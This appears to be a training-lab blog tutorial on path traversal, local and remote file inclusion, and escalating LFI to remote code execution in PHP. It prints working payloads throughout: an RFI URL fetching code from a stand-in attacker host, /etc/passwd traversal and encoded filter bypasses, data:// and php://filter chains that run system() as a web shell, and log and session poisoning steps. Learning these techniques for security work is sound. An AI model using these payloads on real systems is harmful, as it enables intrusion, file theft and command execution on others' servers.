🔓 Free Link

File inclusion vulnerabilities are critical security flaws that allow attackers to manipulate how a web application includes files. These vulnerabilities can lead to unauthorized access, data leaks, and even remote code execution (RCE). In this guide, we'll explore the basics of Path Traversal, Local File Inclusion (LFI), and Remote File Inclusion (RFI) - how they work, their impacts, and real-world attack scenarios.

Disclaimer: The techniques described in this document are intended solely for ethical use and educational purposes. Unauthorized use of these methods outside approved environments is strictly prohibited, as it is illegal, unethical, and may lead to severe consequences.

It is crucial to act responsibly, comply with all applicable laws, and adhere to established ethical guidelines. Any activity that exploits security vulnerabilities or compromises the safety, privacy, or integrity of others is strictly forbidden.

Table of Contents

1. Path Traversal
2. Remote File Inclusion (RFI)
3. Local File Inclusion (LFI)
4. Wrappers
5. Bypassing Dot-Dot-Slash (../)
6. LFI to RCE via PHP Sessions
7. LFI to RCE via Log Poisoning
8. LFI to RCE via Wrapper Chaining

Path Traversal

A traversal string, often represented as ../, is used in path traversal attacks to move up directories in a file system. This technique allows attackers to access files outside the intended directory.

Relative vs Absolute Pathing

• Relative pathing refers to locating files based on the current directory. Example: include('./folder/file.php') looks for file.php inside a subfolder.
• Absolute pathing specifies the full path from the root directory. Example: /var/www/html/folder/file.php directly points to the file.

Attackers exploit weak input validation to inject traversal sequences (../../), potentially accessing sensitive files like /etc/passwd on Unix systems.

Remote File Inclusion (RFI)

Remote File Inclusion (RFI) occurs when an application dynamically includes external files without proper validation, allowing attackers to load malicious scripts from remote servers.

How RFI Works

A vulnerable application may use user-supplied input to include files:

include($_GET['page'] . '.php');

An attacker can manipulate the input to fetch a harmful script:

https://example.com/article.php?page=https://attacker-domain.com/xploit

If successful, the server executes the remote script, leading to arbitrary code execution.

Local File Inclusion (LFI)

Local File Inclusion (LFI) lets attackers read or execute files on the server by exploiting insecure file-handling functions.

Common LFI Attack Examples

Directory Traversal

https://example.com/view.php?file=../../../../etc/passwd

Log Poisoning (LFI to RCE)

Inject PHP code into server logs (User-Agent or Referer headers).

Include the log file via LFI to execute the code:

https://example.com/include.php?file=/var/log/apache2/access.log

Wrappers

PHP Filter Wrapper

The php://filter wrapper allows manipulation of data streams before processing. Attackers use this in LFI attacks to bypass restrictions and read sensitive files.

The server returns the encoded file in base64.

Decode it to extract sensitive system information using tools like Cyberchef.

Data Wrapper

The data:// wrapper allows inline data embedding, which attackers abuse to execute arbitrary PHP code.

An attacker injects PHP code via the data wrapper:

data:text/plain,<?php echo phpinfo();?>

Or you can try other payload as well:

data:text/plain,<?php echo '<pre>'; system('ls -l /var/www/html'); echo '</pre>';?>

Bypassing Dot-Dot-Slash (../)

Many web applications implement security measures to block traditional path traversal sequences like ../. However, attackers have developed multiple techniques to bypass these restrictions.

If you are using the default ../ payload and it gets blocked, try using alternative payloads to bypass the restriction.

This is the payload that worked for me:

/var/www/html/..//..//..//etc/passwd
/var/www/html/%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2fetc/passwd

LFI to RCE via PHP Sessions

PHP stores session data in files (typically in /var/lib/php/sessions). If an attacker can predict the session file name (e.g., sess_[PHPSESSID]), PHP code can be injected into the session file via user-controlled input (such as a cookie). The attacker can then include the session file using LFI.

<?php echo phpinfo(); ?>

You may see a blank output, but the PHPSESSID has a value. As mentioned above, PHP sessions are stored in /var/lib/php/sessions. To view the cookie, you can use the Cookie-Editor extension or the browser's developer console.

Load the session via LFI.

?page=/var/lib/php/sessions/sess_[mycookie]

LFI to RCE via Log Poisoning

Web servers log requests (e.g., access.log, error.log). Then attackers inject PHP code into logs and include them via LFI.

First, try sending a request to the server using netcat or ncat. Then insert the payload after the ncat command.

[1] ~$ ncat <target> 80
[2] <?php echo '<pre>'; system('whoami'); echo '</pre>'; echo phpinfo(); ?>

Even if the output returns a 400 Bad Request code, it's a good idea to check the access logs via LFI. You will see that the output includes two commands: the first is www-data, and the second is phpinfo().

LFI to RCE via Wrapper Chaining

PHP's php://filter wrapper allows encoding and decoding data on the fly. Attackers often chain it with the data://text/plain wrapper. It's recommended to review this implementation for clarity.

The first step is to prepare the PHP code.

<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>';?>

Then encode it using the base64 function.

echo -n "<?php echo \"<pre> \"; system(\$_GET['cmd']); echo \"</pre> \"; ?>" | base64 -w 0

Chain the php://filter/convert.base64-decode/resource= wrapper with the data://text/plain wrapper. The final payload should look like this:

php://filter/convert.base64-decode/resource=data://text/plain,PD9waHAgZWNobyAiPHByZT4gIjsgc3lzdGVtKCRfR0VUWydjbWQnXSk7IGVjaG8gIjwvcHJlPiAiOyA/Pg==&cmd=id

Pay attention to the <pre> and </pre> tags. I intentionally added spaces to help mitigate errors in the base64 data when passed through the wrapper function.

When the server processes the request, it first decodes the base64 string, then executes the PHP code. This allows the attacker to run commands on the server using the cmd GET parameter.

Source: THM

📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:

• 📖 Medium: bashoverflow.medium.com
• 🐦 Twitter / X: @_havij
• </> Github: havij13

🙏Your support is appreciated.